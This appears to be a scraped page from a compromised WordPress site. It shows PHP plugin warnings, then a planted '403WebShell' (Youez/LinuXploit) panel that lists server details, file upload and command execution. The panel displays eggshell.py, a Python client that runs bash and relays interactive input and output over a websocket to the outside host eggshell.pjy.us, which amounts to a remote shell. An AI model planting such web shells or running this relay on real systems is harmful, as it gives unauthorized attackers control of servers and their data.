Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /nuitka/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nuitka/eggshell.py
#!/usr/bin/python3
# coding: utf-8
# version: 1.0.0
# mac: first line should be  #!/usr/local/bin/python3

# for mac users, download python3.6+ from https://www.python.org/downloads/ . Don't use brew.

# pip3 install tornado
#   https://www.tornadoweb.org/en/stable/

# sample usage
#   ./eggshell -ro . -rw . -c 'bash'

import sys
_WINDOWS = sys.platform.startswith('win')
if _WINDOWS:
    raise AssertionError('eggshell is not compatible with Windows')

from tornado import gen
from tornado.ioloop import IOLoop, PeriodicCallback
from tornado.websocket import websocket_connect
from tornado.process import Subprocess, CalledProcessError
from tornado.iostream import StreamClosedError

import json
import uuid
import urllib
import urllib.parse
import urllib.request
import termios
import struct
import fcntl
import subprocess
import argparse
import textwrap
import re

URL = 'wss://eggshell.pjy.us/ws/publish?readonly=%s&readwrite=%s&overwrite=%d'
LISTEN = 'https://eggshell.pjy.us/v/%s'
COMMAND = 'bash'

class Client(object):

    pty = None
    rc = -1

    def __init__(self, url, args):
        self.url = url
        self.args = args
        #self.timeout = args.timeout
        self.ioloop = IOLoop.instance()
        self.ws = None
        self.connect()
        PeriodicCallback(self.keep_alive, 20000).start()
        if sys.platform == 'darwin':
            param = ['env', 'TERM=xterm-color', 'script', '-q', '/dev/null', args.command ]
        else:
            param = ['env', 'TERM=xterm-color', 'script', '-e', '-q', '-c', args.command, '/dev/null']
        
        self.app = Subprocess(param, 
            stdout=Subprocess.STREAM, 
            stderr=Subprocess.STREAM,
            stdin=Subprocess.STREAM)
        # not for Windows
        self.app.set_exit_callback(self.exit_callback)
        self.ioloop.start()

    def exit_callback(self, ret: int) -> None:
        self.rc = ret

    @gen.coroutine
    def connect(self):
        try:
            self.ws = yield websocket_connect(self.url, on_message_callback = self.incoming_message)
        except Exception as e:
            print("connection error", e)
        else:
            if self.args.readonly != '':
                url = LISTEN % (self.args.readonly,)
                print("Read-only view: \x1B[1;32m%s\x1B[0m" % (url,))
            if self.args.readwrite != '':
                url = LISTEN % (self.args.readwrite,)
                print("Interactive view: \x1B[1;32m%s\x1B[0m" % (url,))
            self.run()

    def incoming_message(self, msg):
        # incoming websocket message - send to process, but only if read/write
        payload = json.loads(msg)
        if 'command' in payload:
            if payload['command'] == 'input':
                self.app.stdin.write(payload['data'].encode('iso-8859-1'))
            elif payload['command'] == 'geometry':
                self.setGeometry(payload['data'][1], payload['data'][0])
            else:
                print('unknown command')
                print(msg)
        else:
            print('missing command')
            print(msg)

    def getTTY(self, pid):
        # find the parent of the specified pid
        if sys.platform == 'darwin':
            pid = str(pid)
            p = subprocess.Popen(['ps', '-Ao', 'pid,ppid,tty'], stdout=subprocess.PIPE, shell=False)
            (output, err) = p.communicate()
            p.wait()
            lines = output.split(b"\n")
            for line in lines:
                line = line.decode('iso-8859-1');
                result = re.match(r'\s*(\d+)\s+(\d+)\s+(.*)$', line)
                if not result is None:
                    if result.group(2) == pid:
                        return '/dev/' + result.group(3).strip()
        else:
            p = subprocess.Popen(['ps', '--ppid', str(self.app.pid), '-o', 'tty'], stdout=subprocess.PIPE, shell=False)
            (output, err) = p.communicate()
            p.wait()

            output = output.decode('iso-8859-1')
            lines = output.split("\n")
            return '/dev/' + lines[1]

    def setGeometry(self, rows, cols):
        # determine name of /dev/pts/x
        if self.pty is None:
            pid = self.app.pid
            self.pty = self.getTTY(pid)

        # run command: stty -F /dev/pts/xyz rows 24 cols 80
        params = ['stty', '-F', self.pty, 'rows', str(rows), 'cols', str(cols)]
        if sys.platform == 'darwin':
            params[1] = '-f'
        p = subprocess.Popen(params, stdout=subprocess.PIPE, shell=False)
        (output, err) = p.communicate()
        p.wait()

    def asJson(self, param):
        return json.dumps(param, separators=(',', ':'))

    @gen.coroutine
    def run(self):
        while True:
            try:
                while True:
                    line = yield self.app.stdout.read_bytes(1024, partial=True)
                    line = line.decode('iso-8859-1')
                    payload = {
                        'command': 'output',
                        'data': line,
                    }
                    yield self.ws.write_message(self.asJson(payload))
            except StreamClosedError:
                self.rc = self.app.returncode
                break
                
        self.ioloop.stop()
        payload = {
            'command':  'finished',
            'rc':       self.rc
        }
        yield self.ws.write_message(self.asJson(payload))

    def notify_internal(self):
        url = self.args.complete_internal
        url = url.replace('[rc]', str(self.rc))\
                 .replace('[ro]', self.args.readonly)\
                 .replace('[rw]', self.args.readwrite)
        print('Notification: %s' % url)
        page = urllib.request.urlopen(url)
        ignored_content = page.read()

    def keep_alive(self):
        if self.ws is None:
            self.connect()

# you choose the GUID number, or specify '.' for one to be generated for you
def make_parser():
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent('''
         additional information:
           For information about GUIDs (aka UUID), please see
           https://eggshell.pjy.us/guid.  Alternatively, you may 
           specify a '.' and a random one will be generated for you.

           callback urls can contain the following placeholders:
           "[rc]"   to include the process return code
           "[ro]"   the read-only GUID
           "[rw]"   the read/write GUID
         '''))
    parser.add_argument('-c', '--command', required = True,
            help='the command to be executed. Enclose in quotes')
    parser.add_argument('-ro', '--readonly', metavar='GUID',
            help='a guid (or ".") for read-only access')
    parser.add_argument('-rw', '--readwrite',  metavar='GUID',
            help='a guid (or ".") for read/write access')
    parser.add_argument('-ci', '--complete-internal', metavar='URL',
            help='url to load when finished. Enclose in quotes')
    parser.add_argument('-o', '--overwrite', action='store_true',
            help='overwrite any existing output')
    return parser

if __name__ == "__main__":
    parser = make_parser()
    args = parser.parse_args()

    if args.readonly is None and args.readwrite is None:
        args.readonly = str(uuid.uuid4())
        args.readwrite = ''
    if args.readonly == '.':
        args.readonly = str(uuid.uuid4())
    if args.readonly is None:
        args.readonly = ''
    if args.readwrite == '.':
        args.readwrite = str(uuid.uuid4())
    if args.readwrite is None:
        args.readwrite = ''
    overwrite = 1 if args.overwrite else 0
    
    safe_readonly = urllib.parse.quote(args.readonly)
    safe_readwrite = urllib.parse.quote(args.readwrite)
    client = Client(URL % (safe_readonly, safe_readwrite, overwrite), args)
    
    if not args.complete_internal is None:
        client.notify_internal()

Youez - 2016 - github.com/yon3zu
LinuXploit